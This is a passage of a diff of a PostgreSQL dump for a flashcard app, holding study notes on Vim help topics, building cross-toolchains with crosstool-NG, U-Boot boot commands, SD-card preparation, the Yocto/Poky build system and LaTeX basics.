2133 * (`repeating`)::(`single-repeat`)::(`@:`) text txt 2024-07-28 10:13:39.269055 0 +6692 2134 * (`various`)::(`various-cmds`)::(`:normal`) text txt 2024-07-28 10:13:39.465367 0 +6693 2135 * (`cmdline-mode`)::(`cmdline-completion`)::(`c_ctrl-d`) text txt 2024-07-28 10:13:39.650447 0 +6694 2136 * (`key-mapping`)::(`user-commands`)::(`command-completion`) text txt 2024-07-28 10:13:39.852389 0 +6695 2137 * (`options`)::(`option-summary`)::(`wildmode`) text txt 2024-07-28 10:13:40.029912 0 +6696 2138 * (`cmdline-mode`)::(`cmdline-editing`)::(`c_ctrl-r_ctrl-w`) text txt 2024-07-28 10:13:40.218078 0 +6697 2139 * (`starting`)::(`viminfo`) text txt 2024-07-28 10:13:40.439354 0 +6698 2140 * (`cmdline-mode`)::(`cmdline-window`) text txt 2024-07-28 10:13:40.619657 0 +6699 2141 * (`cmdline-mode`)::(`cmdline-window`)::(`c_ctrl-f`) text txt 2024-07-28 10:13:40.819064 0 +6700 2142 * (`various`)::(`various-cmds`)::(`:!`) text txt 2024-07-28 10:13:41.011166 0 +6701 2143 * (`cmdline-mode`)::(`cmdline-special`) text txt 2024-07-28 10:13:41.212199 0 +6702 2144 * (`cmdline-mode`)::(`cmdline-special`)::(`filename-modifiers`) text txt 2024-07-28 10:13:41.381945 0 +6703 2145 * (`various`)::(`various-cmds`)::(`:shell`) text txt 2024-07-28 10:13:41.55018 0 +6704 2146 * (`Insert`)::(`inserting-file`)::(`:read!`)\n* (`edit-files`)::(`writing`)::(`write_c`)\n* (`tips`)::(`rename-files`) text txt 2024-07-28 10:13:41.797571 0 +6705 2147 * (`changing`)::(`complex-change`)::(`:range!`) text txt 2024-07-28 10:13:42.010764 0 +6706 2148 * (`changing`)::(`complex-change`)::(`!`) text txt 2024-07-28 10:13:42.184009 0 +6707 2149 * (`windows` or `buffers`)::(`buffer-hidden`)::(`:buffers` or `:ls`) text txt 2024-07-28 10:13:42.386845 0 +6708 2150 * (`windows` or `buffers`)::(`buffer-hidden`)::(`:bnext`)\n* (`windows` or `buffers`)::(`buffer-hidden`)::(`:bprevious`) text txt 2024-07-28 10:13:42.58826 0 +6709 2151 * (`windows` or `buffers`)::(`buffer-hidden`)::(`:buffer`) text txt 2024-07-28 10:13:42.766706 0 +6710 2152 edit code txt 2024-07-28 10:13:43.022443 0 +6711 2152 * (`edit-files`)::(`edit-a-file`)::(`:edit`) text txt 2024-07-28 10:13:43.044827 0 +6712 2153 pwd code txt 2024-07-28 10:13:43.279884 0 +6713 2153 * (`edit-files`)::(`current-directory`)::(`:pwd`) text txt 2024-07-28 10:13:43.300531 0 +6714 2154 edit %:h code txt 2024-07-28 10:13:43.567256 0 +6715 2154 * `cmdline-mode`)::(`cmdline-special`)::(`filename-modifiers`)::(`%:h`) text txt 2024-07-28 10:13:43.588809 0 +6716 2155 set path+=src,include,docs code txt 2024-07-28 10:13:43.89121 0 +6717 2155 * (`options`)::(`option-summary`)::(`path`)\n* (`editing-files`)::(`file-searching`)::(`starstar`) text txt 2024-07-28 10:13:43.911844 0 +6718 2156 find main.cpp code txt 2024-07-28 10:13:44.164775 0 +6719 2156 * (`edit-files`)::(`editing-a-file`)::(`:find`) text txt 2024-07-28 10:13:44.18495 0 +6720 2157 vim path/to/directory code txt 2024-07-28 10:13:44.480508 0 +6721 2157 * (`netrw`)::(`netrw-explore`)::(`:Explore`)\n* (`netrw`)::(`netrw-explore`)::(`:Sexplore`)\n* (`netrw`)::(`netrw-explore`)::(`:Vexplore`) text txt 2024-07-28 10:13:44.501869 0 +6722 2158 ctags *.cpp code txt 2024-07-28 10:13:44.835333 0 +6724 2159 set tags? code txt 2024-07-28 10:13:45.135122 0 +6726 2160 ! ctags -R\n:nnoremap :! ctags -R\n:autocmd bufwritepost *.cpp call system("ctags -R") code txt 2024-07-28 10:13:45.493793 0 +6727 2160 * (`map.txt`)::(`key-mapping`)::(`map-commands`)\n* (`autocommand`)::(`autocmd-define`)::(`autocmd`)\n* (`various`)::(`various-cmds`)::(`:!cmd`) text txt 2024-07-28 10:13:45.514942 0 +6728 2161 * (`tags-and-searches`)::(`tag-stack`)\n* (`tags-and-searches`)::(`tag-stack`)::(`ctrl-t`)\n* (`tags-and-searches`)::(`tag-stack`)::(`:pop`)\n* (`tags-and-searches`)::(`tag-stack`)::(`:tags`) text txt 2024-07-28 10:13:45.755736 0 +6729 2162 * (`tags-and-searches`)::(`:tag-matchlist`)::(`g_ctrl-]`) text txt 2024-07-28 10:13:45.929299 0 +6730 2163 * (`tags-and-searches`)::(`:tag-matchlist`)::(`tselect`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tfirst`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tlast`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tnext`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tprev`) text txt 2024-07-28 10:13:46.190245 0 +6731 2164 * (`tags-and-searches`)::(`:tag-commands`)::(`:tag`)\n* (`tags-and-searches`)::(`:tag-commands`)::(`:tjump`) text txt 2024-07-28 10:13:46.405507 0 +6732 2165 * (`quickfix.txt`)::(`:make_makeprg`)::(`:make`) text txt 2024-07-28 10:13:46.646516 0 +6733 2166 * (`quickfix.txt`)::(`quickfix-window`)::(`:copen`)\n* (`quickfix.txt`)::(`quickfix-window`)::(`:cclose`) text txt 2024-07-28 10:13:46.883513 0 +6734 2167 * (`quickfix.txt`)::(`quickfix`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cnext`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cprev`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cfirst`)\n* (`quickfix.txt`)::(`quickfix`)::(`:clast`) text txt 2024-07-28 10:13:47.152604 0 +6735 2168 * (`quickfix.txt`)::(`quickfix`)::(`:cc`) text txt 2024-07-28 10:13:47.326465 0 +6736 2169 * (`quickfix.txt`)::(`quickfix`)::(`:cnfile`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cpfile`) text txt 2024-07-28 10:13:47.547521 0 +6737 2170 * (`:make_makeprg`)::(`:lmake`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lnext`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lprev`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lfirst`)\n* (`quickfix.txt`)::(`quickfix`)::(`:llast`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lnfile`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lpfile`)\n* (`quickfix.txt`)::(`quickfix`)::(`:ll`)\n* (`quickfix.txt`)::(`quickfix-window`)::(`:lopen`)\n* (`quickfix.txt`)::(`quickfix-window`)::(`:lclose`) text txt 2024-07-28 10:13:47.922185 0 +6738 2171 * (`quickfix.txt`)::(`quickfix-error-lists`)::(`:chistory`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:lhistory`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:colder`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:lolder`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:cnewer`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:lnewer`) text txt 2024-07-28 10:13:48.265169 0 +6739 2172 setlocal makeprg=nasm -f elf64 -g -F dwarf -l %:r.lst % code txt 2024-07-28 10:13:48.54091 0 +6740 2172 * (`options`)::(`option-summary`)::(`makeprg`)\n* (`options`)::(`set-options`)::(`local-options`)::(`setlocal`) text txt 2024-07-28 10:13:48.562747 0 +6741 2173 setglobal errorformat?\n:setlocal efm=%A%f\\\\,\\\\ line\\\\ %l\\\\,\\\\ character\\\\ %c:%m,%Z%.%#,%-G%.%# code txt 2024-07-28 10:13:48.867977 0 +6742 2173 * (`quickfix.txt`)::(`error-file-format`)::(`errorformat`)\n* (`options`)::(`set-options`)::(`local-options`)::(`setglobal`) text txt 2024-07-28 10:13:48.888507 0 +6743 2174 compiler gcc code txt 2024-07-28 10:13:49.161841 0 +6744 2174 * (`quickfix.txt`)::(`compiler-select`)::(`compiler`) text txt 2024-07-28 10:13:49.182656 0 \. @@ -9918,3829 +9920,3829 @@ COPY flashback.notes (id, section_id, heading, state, creation, updated) FROM st -- Data for Name: practice_blocks; Type: TABLE DATA; Schema: flashback; Owner: flashback -- -COPY flashback.practice_blocks (id, practice_id, content, type, language, updated) FROM stdin; -1 1 1. Board Bring-Up\n2. System Architecture and Design Choice\n3. Writing Embedded Applications\n4. Debugging and Optimizing Performance text txt 2024-07-28 09:45:11.215879 -2 2 1. Toolchain\n2. Bootloader\n3. Kernel\n4. Root filesystem\n5. Embedded Applications text txt 2024-07-28 09:45:11.517178 -3 3 1. CPU architecture\n2. Reasonable amout of RAM\n3. Non-volatile storage\n4. Serial port\n5. Debugging interface (e.g. JTAG) text txt 2024-07-28 09:45:11.776177 -4 4 - Toolchain can be completely built manually by [Cross Linux From\n Scratch](https://trac.clfs.org).\n- Another alternative to build toolchains is\n [crosstool-NG](https://crosstool-ng.github.io). text txt 2024-07-28 09:45:12.036212 -5 5 * glibc: https://gnu.org - https://gnu.org/software/libs\n* musl libs: [https://musl.libc.org](https: - https://musl.libc.org](https://musl.libc.org)\n* uClibc-ng: [https://uclibc-ng.org](https: - https://uclibc-ng.org](https://uclibc-ng.org)\n* eglibc: https://uclibc.org - https://uclibc.org/home text txt 2024-07-28 09:45:12.305023 -6 6 * CPU Architecture + Endianness (e.g. `x86_64`, `mipsel`, `armeb`)\n* Vendor (e.g. `buildroot`)\n* Kernel (e.g. `linux`)\n* Operating System + ABI (e.g. `gnueabi`, `gnueabihf`, `musleabi`,\n `musleabihf`) text txt 2024-07-28 09:45:12.620293 -7 7 gcc -dumpmachine code txt 2024-07-28 09:45:12.885456 -8 8 ${CROSS_COMPILE}gcc -v code txt 2024-07-28 09:45:13.137525 -9 9 ${CROSS_COMPILE}gcc -mcpu=cortex-a5 main.c -o app code txt 2024-07-28 09:45:13.373206 -10 10 ${CROSS_COMPILE}gcc --target-help code txt 2024-07-28 09:45:13.616855 -11 11 ${CROSS_COMPILE}gcc -print-sysroot code txt 2024-07-28 09:45:13.854047 -12 12 The board should be physically connected to the host using USB to Serial\ncable. text txt 2024-07-28 09:45:14.258983 -13 12 The program which can be used to connect the board with a TTY are as follows: text txt 2024-07-28 09:45:14.278665 -14 12 * minicom\n* picocom\n* gtkterm\n* putty\n* screen\n* tio text txt 2024-07-28 09:45:14.298634 -15 13 picocom --baud 115200 /dev/ttyUSB0 code txt 2024-07-28 09:45:14.659026 -16 13 In case you don't have enough permission to run this command, you need to add\nyour user into the `dialout` group: text txt 2024-07-28 09:45:14.679562 -17 13 usermod -G -a dialout brian code txt 2024-07-28 09:45:14.699232 -18 14 gcc -v code txt 2024-07-28 09:45:14.944682 -19 15 gcc -v -o program source.c code txt 2024-07-28 09:45:15.174955 -20 16 file executable code txt 2024-07-28 09:45:15.417245 -21 17 strip executable code txt 2024-07-28 09:45:15.656318 -22 18 gcc -c main.c\ngcc -c util.c\ngcc -o program main.o util.o code txt 2024-07-28 09:45:15.926157 -23 19 nm executable code txt 2024-07-28 09:45:16.159636 -24 20 C libraries and compiled programs need to interact with the kernel. Available\nsystem calls, many constant definitions and data structures are defined in\nkernel headers. Therefore, compiling C libraries require kernel headers. text txt 2024-07-28 09:45:16.592782 -25 20 Kernel headers can be found in the kernel source tree in `include/uapi` and\n`arch//include/uapi`. These headers can be included in C source files\nas `` and ``. text txt 2024-07-28 09:45:16.613187 -26 20 To install kernel headers, run the following `make` target in the kernel\nsource tree: text txt 2024-07-28 09:45:16.633395 -27 20 make headers_install code txt 2024-07-28 09:45:16.65301 -28 21 `-march` option is used to set processor architecture, e.g. armv6, armv7,\naarch64, x86\\\\_64, etc. `-mtune` option is used to set processor specific\noptimization, e.g. bcm2835, bcm2711, etc. text txt 2024-07-28 09:45:16.956453 -29 21 gcc -march armv6 -mtune bcm2835 source.c code txt 2024-07-28 09:45:16.976456 -30 22 Some utilities automate the process of building the toolchains: text txt 2024-07-28 09:45:17.296504 -31 22 * [Crosstool-ng](https://crosstool-ng.github.io)\n* [Buildroot](https://buildroot.org)\n* [PTXdist](https://ptxdist.org)\n* https://openembedded.org) and [Yocto project](https: - https://openembedded.org) and [Yocto project](https://yoctoproject.org text txt 2024-07-28 09:45:17.31839 -32 23 git clone https://github.com - https://github.com/crosstool-ng/crosstool-ng.git\ncd crosstool-ng\n./bootstrap\n./configure --prefix $HOME/.local\nmake -j8\nmake install code txt 2024-07-28 09:45:17.691634 -33 24 ct-ng list-samples code txt 2024-07-28 09:45:17.943674 -34 25 Prefix target with `show-` to see the configuration information: text txt 2024-07-28 09:45:18.370314 -35 25 ct-ng show-armv6-unknown-linux-gnueabihf code txt 2024-07-28 09:45:18.39034 -36 25 Or just run `show-config` to see the current configuration information: text txt 2024-07-28 09:45:18.409433 -37 25 ct-ng show-config code txt 2024-07-28 09:45:18.429003 -38 25 Note that `.config` file should be available in the later case. text txt 2024-07-28 09:45:18.449306 -39 26 ct-ng armv6-unknown-linux-gnueabihf code txt 2024-07-28 09:45:18.696207 -40 27 Crosstool-ng uses kernel build system `Kbuild` and kernel configuration\nsystem `Kconfig` to configure and build the cross-toolchain. text txt 2024-07-28 09:45:19.044369 -41 27 ct-ng menuconfig\nct-ng nconfig\nct-ng qtconfig code txt 2024-07-28 09:45:19.063593 -42 28 ct-ng show-tuple code txt 2024-07-28 09:45:19.307663 -43 29 ct-ng source code txt 2024-07-28 09:45:19.541749 -44 29 Origin: text txt 2024-07-28 09:45:19.561898 -45 30 Indicate a the number of parallel jobs behind the `build` target after a dot: text txt 2024-07-28 09:45:19.810665 -46 30 ct-ng build.8 code txt 2024-07-28 09:45:19.829638 -47 31 ${CROSS_COMPILE}gcc -L$(${CROSS_COMPILE}gcc -print-sysroot)/lib -I$(${CROSS_COMPILE}gcc -print-sysroot)/include -march armv6 -mtune bcm2835 -o program source.c code txt 2024-07-28 09:45:20.078793 -48 32 git clone https://github.com - https://github.com/crosstool-ng/crosstool-ng.git\ncd crosstool-ng\ngit checkout \n./bootstrap\n./configure --enable-local\nmake -j\n./ct-ng --version code txt 2024-07-28 09:45:20.484982 -49 33 ./ct-ng list-samples code txt 2024-07-28 09:45:20.773468 -50 34 ./ct-ng show-\n./ct-ng show-armv6-unknown-linux-gnueabihf\n./ct-ng show-arm-cortex_a8-linux-gnueabi\n./ct-ng show-arm-unknown-linux-gnueabi code txt 2024-07-28 09:45:21.111316 -51 35 Considering the processor used in this device which is `bmc2835` having an\narmv6 core, we should use the following target: text txt 2024-07-28 09:45:21.801291 -52 35 ./ct-ng distclean\n./ct-ng show-armv6-unknown-linux-gnueabihf\n./ct-ng armv6-unknown-linux-gnueabihf code txt 2024-07-28 09:45:21.822227 -53 35 Change following kernel configurations and set their values accordingly: text txt 2024-07-28 09:45:21.842753 -54 35 * Tarbal path\n* Build path\n* Vendor tuple text txt 2024-07-28 09:45:21.864162 -55 35 ./ct-ng build code txt 2024-07-28 09:45:21.885583 -56 36 ./ct-ng distclean\n./ct-ng show-arm-cortex_a8-linux-gnueabi\n./ct-ng arm-cortex_a8-linux-gnueabi code txt 2024-07-28 09:45:22.451385 -57 36 Change the following kernel configurations and set their values accordingly: text txt 2024-07-28 09:45:22.472616 -58 36 * **Paths and misc options** >> **Render the toolchain read-only**: disable\n* **Target options** >> **Floating point**: **hardware (FPU)**\n* **Target options** >> **Use specific FPU**: neon text txt 2024-07-28 09:45:22.49257 -59 36 ./ct-ng build code txt 2024-07-28 09:45:22.513521 -60 37 ./ct-ng distclean\n./ct-ng show-arm-unknown-linux-gnueai\n./ct-ng arm-unknown-linux-gnueai code txt 2024-07-28 09:45:22.992166 -61 37 Change the following kernel configurations and set their values accordingly: text txt 2024-07-28 09:45:23.012975 -62 37 * **Paths and misc options** >> disable **Render the toolchain read-only** text txt 2024-07-28 09:45:23.032954 -63 37 ./ct-ng build code txt 2024-07-28 09:45:23.053746 -64 38 * libc (linked by default)\n* libm\n* libpthread\n* librt text txt 2024-07-28 09:45:23.345582 -65 39 ${CROSS_COMPILE}readelf -a app | grep "Shared library" code txt 2024-07-28 09:45:23.613921 -66 40 ${CROSS_COMPILE}readelf -a app | grep "program interpreter" code txt 2024-07-28 09:45:23.884013 -67 41 ${CROSS_COMPILE}gcc -static main.c -o app code txt 2024-07-28 09:45:24.1649 -68 42 SYSROOT=$(${CROSS_COMPILE}gcc -print-sysroot)\ncd $SYSROOT\nls -l usr/lib/libc.a code txt 2024-07-28 09:45:24.496279 -69 43 ${CROSS_COMPILE}gcc -c test1.o\n${CROSS_COMPILE}gcc -c test2.o\n${CROSS_COMPILE}ar rc libtest1.a test1.o test2.o\n${CROSS_COMPILE}gcc main.c -ltest -L../libs -I../include -o app code txt 2024-07-28 09:45:24.855516 -70 44 ${CROSS_COMPILE}gcc -fPIC -c test1.c\n${CROSS_COMPILE}gcc -fPIC -c test2.c\n${CROSS_COMPILE}gcc -shared -o libtest.so test1.o test2.o\n${CROSS_COMPILE}gcc main.c -ltest -L../libs -I../include -o app\n${CROSS_COMPILE}readelf -a app | grep library\n${CROSS_COMPILE}readelf -a app | grep interpreter code txt 2024-07-28 09:45:25.247174 -71 45 ${CROSS_COMPILE}readelf -a /usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2 | grep SONAME\nlibjpeg.so.8 code txt 2024-07-28 09:45:25.529199 -72 46 By using environment variables to specify toolchains: text txt 2024-07-28 09:45:26.028284 -73 46 export CROSS_COMPILE=armv6-rpi-linux-gnueabihf-\nmake code txt 2024-07-28 09:45:26.051636 -74 46 Or by specifying behind the `make` command directly: text txt 2024-07-28 09:45:26.072651 -75 46 make CROSS_COMPILE=armv6-rpi-linux-gnueabihf- code txt 2024-07-28 09:45:26.093684 -76 47 CC=armv6-rpi-linux-gnueabihf-gcc ./configure --host=armv6-rpi-linux-gnueabihf code txt 2024-07-28 09:45:26.377725 -77 48 wget http://www.sqlite.org/2020/sqlite-autoconf-3330000.tar.gz\ntar xf sqlite-autoconf-3330000.tar.gz\ncd sqlite-autoconf-3330000\nCC=armv6-rpi-linux-gnueabihf-gcc ./configure --host=armv6-rpi-linux-gnueabihf --prefix=/usr\nmake\nmake DESTDIR=$(armv6-rpi-linux-gnueabi-gcc -print-sysroot) install text txt 2024-07-28 09:45:26.751305 -78 48 armv6-rpi-linux-gnueabihf main.c -o sqlite-test -lsqlite3 code txt 2024-07-28 09:45:26.77171 -79 49 In order for `pkg-config` to address library and header files belonging to\n*sqlite3*, it should be able to see `/usr/lib/pkgconfig/sqlite3.pc`: text txt 2024-07-28 09:45:27.119366 -80 49 export CROSS_COMPILE="xtools/armv6-rpi-linux-gnueabihf-"\nexport PKG_CONFIG_LIBDIR=$(${CROSS_COMPILE}gcc -print-sysroot)/usr/lib/pkgconfig\n${CROSS_COMPILE}gcc $(pkg-config sqlite3 --cflags --libs) main.c -o sqlite-test code txt 2024-07-28 09:45:27.139853 -81 50 export CROSS_COMPILE="xtools/armv6-rpi-linux-gnueabihf-"\ncmake -S . -B build -D CMAKE_INSTALL_PREFIX:PATH=sysroot -D CMAKE_C_COMPILER:PATH=${CROSS_COMPILE}gcc\ncmake --build build --parallel 8 --target all\ncmake --build build --parallel 8 --target install code txt 2024-07-28 09:45:27.437593 -82 51 Obtain the U-Boot source tree from GitHub: text txt 2024-07-28 09:45:27.983476 -83 51 git clone https://github.com - https://github.com/u-boot/u-boot.git\ncd u-boot code txt 2024-07-28 09:45:28.004864 -84 51 Configuration files are stored in `configs/` directory. text txt 2024-07-28 09:45:28.024725 -85 51 To check if your desired board is already supported by U-Boot, check if there\nis a match for that board in the `boards.cfg` file. text txt 2024-07-28 09:45:28.044829 -86 51 To use one of the configuration entries in `configs/` use `make` utility: text txt 2024-07-28 09:45:28.065087 -87 51 make CROSS_COMPILE=$(arm-unknown-linux-gnueabihf-gcc -print-sysroot) ARCH=armv6 raspberrypizero_defconfig\nmake CROSS_COMPILE=$(arm-unknown-linux-gnueabihf-gcc -print-sysroot) ARCH=armv6 menuconfig code txt 2024-07-28 09:45:28.085171 -88 52 The official `raspbberypi` repository holds the `boot` directory where\n`start.elf` file and the device tree files can be found: text txt 2024-07-28 09:45:28.444411 -89 52 wget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/start.elf'\nwget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/bcm2708-rpi-zero.dtb' code txt 2024-07-28 09:45:28.465485 -90 53 1. Boot loader (Raspberry Pi specific SPL)\n2. Kernel image\n3. Device trees text txt 2024-07-28 09:45:29.233654 -91 53 First download Raspberry Pi device specific SPL and device tree binary files. text txt 2024-07-28 09:45:29.255153 -92 53 wget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/start.elf'\nwget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/bcm2708-rpi-zero.dtb' code txt 2024-07-28 09:45:29.276907 -93 53 Then partition the SD card which is used to attach to the device: text txt 2024-07-28 09:45:29.296509 -94 53 fdisk /dev/sda code txt 2024-07-28 09:45:29.31706 -95 53 Create a 100M sized partition and set the bootable flag.\nThen format that bootable partition with vfat filesystem: text txt 2024-07-28 09:45:29.339499 -96 53 mkfs -t vfat /dev/sda1 code txt 2024-07-28 09:45:29.360132 -97 53 Mount it and then copy `u-boot.bin`, `start.elf` (raspberrypi repository), `bcm2708-rpi-zero.dtb` (raspbberypi repository) files into the filesystem: text txt 2024-07-28 09:45:29.381394 -98 53 mount /dev/sda1 /mnt\ncp * /mnt\numount /mnt code txt 2024-07-28 09:45:29.40065 -99 54 There are as many tools as there are filesystems to load an image into RAM: text txt 2024-07-28 09:45:29.992468 -100 54 *FAT filesystem*\nfatload usb 0:1 0x21000000 zImage code txt 2024-07-28 09:45:30.013228 -101 54 *EXT4 filesystem*\next4load usb 0:1 0x21000000 zImage code txt 2024-07-28 09:45:30.034528 -102 54 There are similarly other tools: text txt 2024-07-28 09:45:30.054827 -103 54 * fatinfo, fatls, fatsize, fatwrite, ...\n* ext2info, ext2ls, ext2size, ext2write,...\n* ext3info, ext3ls, ext3size, ext3write,...\n* ext4info, ext4ls, ext4size, ext4write,...\n* sqfsinfo, sqfsls, sqfssize, sqfswrite,... text txt 2024-07-28 09:45:30.07414 -104 55 tftp code txt 2024-07-28 09:45:30.335282 -105 56 ping code txt 2024-07-28 09:45:30.586913 -106 57 `loads`, `loadb`, `loady` commands. text txt 2024-07-28 09:45:30.80651 -107 58 ping code txt 2024-07-28 09:45:31.067803 -108 59 mmc code txt 2024-07-28 09:45:31.345142 -109 60 nand code txt 2024-07-28 09:45:31.60558 -110 61 erase\nprotect\ncp code txt 2024-07-28 09:45:31.933195 -111 62 md code txt 2024-07-28 09:45:32.210265 -112 63 mm code txt 2024-07-28 09:45:32.492947 -113 64 bdinfo code txt 2024-07-28 09:45:32.777081 -114 65 printenv\nprintenv code txt 2024-07-28 09:45:33.083367 -115 66 setenv code txt 2024-07-28 09:45:33.356511 -116 66 Origin 10:20:00 text txt 2024-07-28 09:45:33.377343 -117 67 editenv code txt 2024-07-28 09:45:33.623975 -118 68 saveenv code txt 2024-07-28 09:45:33.917135 -119 69 Commands will be executed after a configurable delay `bootdelay`, if process\nis not interrupted. text txt 2024-07-28 09:45:34.236901 -120 69 setenv bootcmd 'tftp 0x21000000 zImage; tftp 0x22000000 dtb; bootz 0x21000000 - 0x22000000' code txt 2024-07-28 09:45:34.258906 -121 70 setenv bootargs '' code txt 2024-07-28 09:45:34.533809 -122 71 * `serverip`\n* `ipaddr`\n* `netmask`\n* `ethaddr` text txt 2024-07-28 09:45:34.81353 -123 72 After using `tftp`, `fatload`, `nand read...`, etc. commands, the size of\ncopy can be seen by: text txt 2024-07-28 09:45:35.18127 -124 72 filesize code txt 2024-07-28 09:45:35.203116 -125 73 U-Boot shell uses the same conditional expression as Bash: text txt 2024-07-28 09:45:35.557835 -126 73 setenv mmc-boot 'if fatload mmc 0 80000000 boot.ini; then source; else if fatload mmc 0 80000000 zImage; then run mmc-do-boot; fi; fi' code txt 2024-07-28 09:45:35.579829 -127 74 setenv \nrun code txt 2024-07-28 09:45:35.898785 -128 75 The same way that Unix shell references variables using braces: text txt 2024-07-28 09:45:36.213236 -129 75 ${variable-name} code txt 2024-07-28 09:45:36.232293 -130 76 When a command is used to load some file into RAM as follows: text txt 2024-07-28 09:45:36.624025 -131 76 fatload mmc 0 80000000 boot.ini code txt 2024-07-28 09:45:36.642058 -132 76 Then by executing `source` command, the contents within `boot.ini` file which\nwas recently loaded will be read. This file should obbey the syntax of U-Boot\nshell variables. By reading these variables, the boot sequence can be changed\naccordingly. text txt 2024-07-28 09:45:36.66031 -133 77 qemu-system-arm --machine help code txt 2024-07-28 09:45:36.901126 -134 78 qemu-system-arm --machine raspi0 --nographic --kernel u-boot code txt 2024-07-28 09:45:37.124039 -135 79 The Yocto Project has a release every six months, in April and October. text txt 2024-07-28 09:45:37.405866 -136 79 The support for the stable release is for 7 months, offering 1 month of\noverlapped support for every stable release. The LTS release has a minimal\nsupport period of 2 years, optionally extended. After the official support\nperiod ends, it moves to Community support and finally reaches End Of Life\n(EOL). text txt 2024-07-28 09:45:37.421758 -137 79 `Initial Release -> Stable Release -> Community -> End of Life` text txt 2024-07-28 09:45:37.438246 -138 80 - Applications to install\n- Architecture to use\n- License restrictions text txt 2024-07-28 09:45:37.596561 -139 81 - Bootloader such as U-Boot, GRUB, Syslinux etc.\n- Linux kernel image with added or removed features as necessary\n- Root filesystem usually called rootfs containing the files\n- List of licenses of packages included in the rootfs\n- The source for distribution to comply on the copyleft requirements text txt 2024-07-28 09:45:37.784584 -140 82 Poky is the default Yocto Project reference distribution, which uses\nOpenEmbedded build system technology. text txt 2024-07-28 09:45:37.958384 -141 83 It is platform-independent and performs cross-compiling using the BitBake\ntool, OpenEmbedded Core, and a default set of metadata. text txt 2024-07-28 09:45:38.175489 -142 83 In addition, it provides the mechanism to build and combine thousands of\ndistributed open source projects to form a fully customizable, complete, and\ncoherent Linux software stack. text txt 2024-07-28 09:45:38.19372 -143 84 Poky is composed of a collection of tools, configuration files, and recipe\ndata (known as metadata). text txt 2024-07-28 09:45:38.3691 -144 84 |Poky Build Tool|\n|---|\n|BitBake Tool (bitbake)|\n|OpenEmbedded Core (meta)|\n|Poky Distribution Metadata (meta-poky)|\n|Yocto Project Reference BSP (meta-yocto-bsp)| text txt 2024-07-28 09:45:38.383099 -145 85 BitBake is a task scheduler and execution system that parses Python and Shell\nScript code. The code that is parsed generates and runs tasks, which are a\nset of steps ordered per the code’s dependencies. text txt 2024-07-28 09:45:38.695137 -146 85 BitBake evaluates all available metadata, managing dynamic variable\nexpansion, dependencies, and code generation. In addition, it keeps track of\nall tasks to ensure their completion, maximizing the use of processing\nresources to reduce build time and predictability. text txt 2024-07-28 09:45:38.708148 -147 85 The source code is in the `bitbake` subdirectory of Poky. text txt 2024-07-28 09:45:38.720847 -148 86 The OpenEmbedded Core metadata collection provides the engine of the Poky\nbuild system. It provides the core features and aims to be generic and as\nlean as possible. It supports seven different processor architectures (ARM,\nARM64, x86, x86-64, PowerPC, PowerPC 64, MIPS, MIPS64, RISC-V32, and RISC-V\n64), only supporting platforms to be emulated by QEMU. text txt 2024-07-28 09:45:38.953016 -149 86 The OpenEmbedded Core houses its metadata inside the `meta` subdirectory of\nPoky. text txt 2024-07-28 09:45:38.966518 -150 87 The metadata includes recipes and configuration files. It is composed of a\nmix of Python and Shell Script text files, providing a tremendously flexible\ntool. Poky uses this metadata to extend OpenEmbedded Core. text txt 2024-07-28 09:45:39.197553 -151 87 BitBake uses these scripts to inform the steps needed to build, download the\nsource code and other tasks related to a specific software application or\nlibrary. text txt 2024-07-28 09:45:39.213218 -152 88 Includes two different layers, which are other metadata subsets, shown as follows: text txt 2024-07-28 09:45:39.509904 -153 88 - `meta-poky`: This layer provides the default and supported distribution\n policies, visual branding, and metadata tracking information (maintainers,\n upstream status, and so on). This is to serve as a curated template that\n could be used by distribution builders to seed their custom distribution.\n- `meta-yocto-bsp`: This provides the Board Support Package (BSP) used as the\n reference hardware for the Yocto Project development and Quality Assurance\n (QA) process. text txt 2024-07-28 09:45:39.52611 -154 89 - **Low level developers**\n + Board bring-up\n + Bootloader development\n + Kernel development\n + Device drvier development\n- **Application developers**\n + Application development\n + Application customization\n- **System architect**\n + Application list management\n + Software Development Kit (SDK) development\n + Integration into build system\n + Releases\n- **Legal authority**\n + License management text txt 2024-07-28 09:45:39.87901 -155 90 git format-patch text txt 2024-07-28 09:45:40.053152 -156 91 Using online tex compiler: https://overleaf.com text txt 2024-07-28 09:45:40.411496 -157 92 Do not use spaces in naming of tex files. Use hyphens or dots instead. text txt 2024-07-28 09:45:40.626095 -158 93 - article\n- exam text txt 2024-07-28 09:45:40.862257 -159 94 Documents should have at least one line of text to compile. text txt 2024-07-28 09:45:41.272903 -160 94 \\\\documentclass{article} text txt 2024-07-28 09:45:41.294096 -161 94 \\\\begin{document}\nSample text.\n\\\\end{document} code txt 2024-07-28 09:45:41.314786 -162 95 \\\\documentclass[11pt]{article} text txt 2024-07-28 09:45:41.686408 -163 95 \\\\begin{document}\nSample Text\n\\\\end{document} code txt 2024-07-28 09:45:41.709619 -164 96 \\\\documentclass{article} text txt 2024-07-28 09:45:42.210461 -165 96 \\\\title{Sample Document}\n\\\\author{Brian Salehi}\n\\\\date{\\\\today} text txt 2024-07-28 09:45:42.230979 -166 96 \\\\begin{document}\n\\\\maketitle\n\\\\end{document} code txt 2024-07-28 09:45:42.252101 -167 97 \\\\documentclass{article}\n\\\\usepackage(blindtext) text txt 2024-07-28 